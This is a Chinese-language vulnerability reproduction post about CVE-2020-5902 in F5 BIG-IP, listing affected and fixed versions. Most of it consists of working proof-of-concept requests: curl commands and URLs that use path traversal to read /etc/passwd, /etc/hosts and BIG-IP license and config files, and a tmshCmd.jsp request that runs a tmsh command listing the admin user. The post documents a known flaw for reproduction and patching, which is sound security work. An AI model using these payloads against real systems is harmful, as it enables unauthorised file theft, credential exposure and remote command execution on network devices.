CVE-2020-5902 BIG-IP RCE漏洞复现aexp

简介

安全厂商Positive Technologies揭露F5 Networks的知名网络和安全产品BIG IP应用交付控制器（应用交付控制器，ADC）存在一个重大安全漏洞，可能让不具授权的远程攻击者执行指令，并获得系统完整控制权，包括拦截流经该设备的应用流量。

影响范围

版本号主要如下
11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x

修复方法

升级
11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4

文件读取poc

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

RCE poc

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

参考

1. Release Exploit CVE-2020-5902 RCE and Arbitary Read File?

   — Budi Khoirudin (@x4ce) July 5, 2020

本文始发于微信公众号（宽字节安全）：CVE-2020-5902 BIG-IP RCE漏洞复现&exp